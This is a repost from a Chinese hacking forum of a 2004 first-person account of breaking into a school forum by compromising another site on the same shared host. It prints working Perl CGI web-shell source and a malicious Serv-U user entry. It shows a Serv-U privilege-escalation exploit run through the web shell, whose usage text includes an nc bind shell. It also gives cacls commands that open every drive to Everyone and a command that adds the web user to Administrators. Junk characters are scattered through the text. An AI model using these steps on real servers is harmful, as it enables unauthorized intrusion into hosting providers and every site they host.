中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
/ Y3 u/ Y2 o+ I/ z/ p. E& R本文作者:angel6 N) m# @. L; S  o, r* ^
文章性质:原创
/ Q8 ?/ H! D- p发布日期:2004-11-09
# D( `) C  x0 v' _9 J0 W. c; g注意:
9 f. x9 n6 N" e! ~! K* J# l本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
, w+ a. H' Q( v) b! n本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。+ w$ w) I4 |2 Y# [5 f
/ E# E* G9 S5 n" V8 x  b8 a
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 1 c8 O( j+ X2 Z  e- y
5 O5 j) `) _* x  k( y/ b
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 8 R& J; m6 r  ^1 E5 M

% w7 |% n5 a5 l+ k& m  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
! G  z' Y" Z3 l& S9 t# O
! r4 i& ^2 B2 T3 a  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 6 q9 d% A% B! T

/ o3 e/ L/ {: o; ^$ t  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 0 U0 I( Q( q! x9 j$ O) l' `

. ]/ t- M, d$ h3 V( X) R: m  没有目的的跳转目录着……
. }6 m: R. n1 h: n3 h: O3 ]6 Z2 P; W2 O: N6 K2 ?9 P( C1 i) D# ]
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
" N, R9 g3 _$ Y) V& R0 ]4 i
0 ^9 j  x( E- W  结束了吗?不,我试着 FTP 一下: ' F( s7 \6 i! D5 S2 _+ E( e2 o
6 j4 w1 H. Z( [
Microsoft Windows 2000 [Version 5.00.2195]
6 u# Z( R4 c8 Y(C) 版权所有 1985-2000 Microsoft Corp.
5 K1 ?6 k/ c& b) l5 c9 R3 m- p( T7 T, ^
C:\Documents and Settings\Administrator>ftp www.school.com8 A4 }+ w" A" K$ e! `2 M/ G
Connected to www. school.com. # C$ v( T6 l1 W5 [
220 Welcome to FTP Server... % k; u: W/ O( a  D* U; D
User (www.bjtrq.com:(none)):
" u1 W. I* t6 @* |2 s- Z331 User name okay, need password.
8 Z( \& k, ?( S7 c: P6 B! hPassword:
2 C( f4 Z, T9 s* h/ D- k( o& S530 Not logged in.
- b( |$ }7 ^7 j  a8 x. p+ QLogin failed.
4 ^3 F' D$ p( L8 {; bftp> bye
  r5 O* F1 g' s( M- V) T221 Goodbye!
' P0 P! ^4 g- q
1 }) |6 R+ f, l. F: w" k
  {8 r/ H: G" D1 j' D0 ~: K$ b  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… * @7 r+ F. y! g- }0 @. A
" N* `! `5 k, E5 ~. i
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。   P  b5 `# P" |  e% \( j1 n, a
7 ^# Q, H/ b) G" j' G
Application Data3 M% S& B. a8 \& r0 U" @
Documents8 H: P+ i3 f/ q0 g! z6 \
DRM
3 X+ W  _6 [/ i& P( \' eFavorites
6 w" N( t' @6 o" e: X7 vTemplates% ~% p! x- P4 G
「开始」菜单
2 Z* J2 R7 c0 j8 \  U( s2 ~: Y桌面) K& ]  d1 L# n0 \7 h* ^
/ L3 F- ^  p' S
( `* w* B" I- q  Z, h7 x: T# {
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
  i6 q8 Q! Z# K) k
5 C5 e1 w& b8 }3 t  [* P2 }ActiveState ActivePerl 5.8
) k8 I6 A) T3 l6 _* x! l$ pAdministrative Tools  w8 H$ z) {! i$ R0 A, f7 E5 }# l
Deerfield.com
& s! b8 ^+ P8 S" e+ U# K' x: p4 pDTemp1 v' _% @/ N1 S
IPSentry
7 ]# P+ a/ T' V; hMBM 5
2 g2 k4 E9 g# F5 g6 ~1 \* M$ {NetMeter
: C- d* h, u/ g% Q# w2 {& g8 UNetwork ICE7 h0 y+ E3 U; S
Persits Software AspEmail
" Y# y  I& }& G1 MPersits Software AspJpeg4 \) H/ E5 K) ]; y; v9 M
Serv-U FTP Server
# C  T: Y  d3 ^% |6 n4 QSymantec Client Security
7 ]- T2 ]( r8 T+ P7 FWindows 优化大师
/ Z) O; B) S. ~- `WinRAR
7 g. ~0 U4 Q$ I6 b- b  f启动3 ^; i+ o( X& g: U% U# m1 h- \
管理工具
! z3 v1 v. F: }0 |附件8 w5 o* A& {+ i0 l" `3 O; W$ i
) b' c% d. o0 z7 w1 o) u& S
, t8 U; i/ i8 R! ~
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
5 A" O. E& l  G% b/ `; R# H1 Z- m/ s, K$ g
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! O# A. ~+ k. s7 e9 \  R( ^: m) _/ _/ y$ }
User281=angel|1|0 ! F4 ~3 }) }$ p) G0 s: z

" U  w' M+ k+ [; {' t7 h1 ~! i3 F8 d/ n, M5 m
  然后加上
; B, B  S! ?1 a" M3 X
9 f. t; B9 I/ @' B* ?% l4 ~[USER=angel|1]
% F% f( y, G! Q8 C' f/ J: QPassword=ng98F85379EA68DBF97BAADCA99B69B805
, O( I7 y( D/ A5 QHomeDir=D:\websites
3 n5 V8 s7 i( m2 D1 k. d# r2 iRelPaths=1$ W$ r3 B4 F4 |9 Z& ^
TimeOut=600
8 D/ {4 d1 l# J* rMaintenance=System
! i9 E/ E& P) l' uAccess1=D:\websites|RWAMELCDP$ M! u9 s8 A! X6 q( m# y
SKEYValues=
8 L4 }$ B# m- Z8 T 3 w8 @" `7 X! U  H0 z

# f: n2 `2 [2 T2 Y9 B4 C  y" M  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
+ {5 P- H6 Z: W/ Z8 e5 D4 [: G7 {& K5 F* O, b
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& b. ]9 r$ b2 W9 E1 O& T$ z9 d1 r* g- t% h6 q
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
7 |4 ^  g" H0 c8 l" }1 B8 M: T; X/ W4 v; F* r4 _
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
5 Y9 ~/ f  e  C& G. P2 t. u; r# Y0 z8 @1 }) L
#!/usr/bin/perl
3 t6 v4 Y- s" c  nbinmode(STDOUT);
! e! B7 U8 g( n8 ssyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
4 O7 r" Y& p" G0 O; ^5 u* N6 Q" Q* @$_ = $ENV{QUERY_STRING};
8 {8 Z$ I" |! ?  ?s/%20/ /ig;
! B! M1 M( c: Q& t' Y6 z& r, H) Xs/%2f/\//ig;
  e' T5 \& c+ p3 s' c: u) X$execthis = $_;
% @& _9 D8 X& V3 tsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
  T3 W+ ^; c! C& Zopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";" t  M9 ^) L" I7 ~- W
system($execthis);
8 {0 x$ j1 T' V7 Isyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);7 c- W2 ]0 Y0 o8 M+ c
close(STDERR);+ _6 v# F' a- P7 G& A
close(STDOUT);
9 J" f* a" l9 C* n, k! Zexit;& Y+ \. l2 D; |2 a7 j: M7 k9 N0 W

4 N2 e  h. H, T4 r# L9 r
9 [, e; |. ^; U4 z) o  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!   _. V- p' A6 ~3 ~

5 t2 d* V& c9 [% k  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
( b. e* n7 w/ x2 Z4 v/ ?
% Y8 E6 B! m5 r5 x# xhttp://anyhost//cmd.pl?d:\user\bin\su.exe
: D) C% K$ Q4 W1 p8 C9 _1 e0 u 5 B1 O; Y0 J/ u$ @$ d9 e

6 m6 _1 ?( b# f& f  返回: 2 K1 g# d% h% I% {

/ w: _4 F* m1 G: ~0 MServ-u >3.x Local Exploit by xiaolu
( Z5 [& t+ w, K$ {! i
8 n8 U# C; U9 M0 WUSAGE: serv-u.exe "command"
( @' J* u1 j) o
$ t8 z% ^2 [" G. n5 G: Z$ p0 y1 Q. [: l+ ]Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 8 J! |- K( \1 F  a

$ {9 Q: j- W/ k- O8 n6 Q% K, {' `  X
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ' D: N* c* q' N# O' W1 s) _, j/ D

0 I" @% L: i5 T" L: n4 ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ! k9 k: `; ~1 C, ~
4 e2 R1 Q9 W5 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 E3 n$ [9 Y1 u1 [# F* F

2 c% x9 x+ T7 o9 d( E: }http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
( {( K( V3 {4 n- |+ i, G4 N8 X
" l  H* f) W* |4 b6 }: x" \; n$ `" mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 3 `% s5 l2 _" J9 w- `, p
2 u6 C2 C3 l$ s/ m
& d" e4 |( e% F) }3 C
  返回下面的信息,就表示成功了!!!
1 b! M7 ~+ c* h; a0 Q2 ~6 h
1 Z+ s# W! |3 u) S% YServ-u >3.x Local Exploit by xiaolu
5 u9 w( [- k. F; Y3 T$ p9 b7 h- `' A! R9 h
<220 Serv-U FTP Server v5.2 for WinSock ready... " U0 p; Q4 E6 ]" u* o! ^7 B, o# X
5 v2 J2 T2 O+ t. L- B9 \3 p
>USER LocalAdministrator & j5 l4 Y  t2 K- E
, s8 O, c% V! P+ \. A& M* D3 @
<331 User name okay, need password. % s. y" b, g1 v3 W8 ]/ I% ~9 c: Z

6 b$ I' S, n. c6 {: X7 K" b******************************************************
5 u; l, o" \0 D. d4 a+ O' f9 Y4 E% A& K( o3 m) V% C% A, r
>PASS #l@$ak#.lk;0@P 7 n3 t$ K7 F$ D
6 j/ ~) v0 w  \% U  X  s# k
<230 User logged in, proceed. 4 w0 f$ F& H+ z( C; m8 k  H

1 h; K/ S; i8 S1 X4 c5 \****************************************************** . h: c, N" S: i! Y2 J
. x: a/ l% f' G/ u0 d
>SITE MAINTENANCE
2 c" ]" J1 G/ S9 _4 q; D- o$ _4 v
******************************************************
( k* v# D( k1 f" I- z& ~" W' L; ~' y; s, h6 H
[+] Creating New Domain...
- y# S7 R! ^5 A; u! |! z% N& n$ j5 @/ R( R5 v
<200-DomainID=2 ; s+ d; t( \; M6 L6 Z4 P
: j8 w" u2 O( b4 N" J( N
<220 Domain settings saved 3 O+ J5 v# g! _0 x$ V
( v  Q) [* m8 N9 J3 r+ F! p9 ?: n
****************************************************** 4 U+ b8 d" u5 l1 L" z0 f! }: e

7 n& R# F1 o; z8 N[+] Domain xl:2 Created
. n  c' c+ u9 h( W" o( }# g6 q  n6 k* Y+ _9 {2 |5 U, a7 T, v* G
[+] Creating Evil User
# {8 w* Y) Y; I( |: G
; X( F4 k, R, n& ]; Q<200-User=xl
, c+ p* e- a( _# d7 F# l( B! h1 ]$ l* {4 [
200 User settings saved
/ `+ }3 w" D% M6 T) E6 I4 `! _  z- l2 `) s5 Z
******************************************************
: V2 R9 Z' d9 z9 g6 R. U* V4 k8 N1 a* C$ W( m( J) l
[+] Now Exploiting...
: U" Y( c9 f' @# z' \5 K# F$ d' s2 m0 t  M6 h
>USER xl # W/ X5 O8 b  [9 I
* ]& X+ N+ K. r" n
<331 User name okay, need password. 4 f- ?/ U  A( V$ x

  ?: _% m5 Z) t$ O+ `******************************************************
  v3 d' v7 U0 k4 h- H
# C0 |9 @6 [, @>PASS 111111 ( n2 w! o+ ?# v( |* B+ F& A
* P5 A) Q# k* q0 q3 S# E" L- O
<230 User logged in, proceed. ( @. z9 F9 g' l: R4 {. U+ _
' P' @! n2 c& K* s
****************************************************** 5 @$ p; C; X. S5 _' @6 Q

# l# |. g* T/ \& t% o4 ^6 u[+] Now Executing: cacls.exe c: /E /T /G everyone:F
" ]9 |8 S3 c, [2 }: |
+ g  v1 N8 M% r3 u* I<220 Domain deleted , }. h  V# Z% a7 `. D: Y) E

- G4 J: ~# |3 R1 t******************************************************
3 X( P$ C; @3 {8 W9 K9 m. E
$ l9 n7 N; n5 E" [' {/ q1 L' D5 V' O% ~8 J9 x. c) [5 z5 o
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
* v) K" l( L: i  S* ^
8 x$ B! s% @9 [; j% F2 w1 v" ~* ~http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
4 b; P9 l) L7 U& Z$ w6 v
' m2 Z5 T* h, U  j% l6 l
, O/ S) T- R0 u2 ]' b' p7 G" Y  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
9 A  e( A) h0 H/ e; b( g8 w4 a
5 Z' h) S1 n+ A9 p  V% `  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。4 e* |' x  i. d9 P9 c) q# o

$ a) D. t8 l7 C! y+ ^  / b& _7 x8 [! ?4 X





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2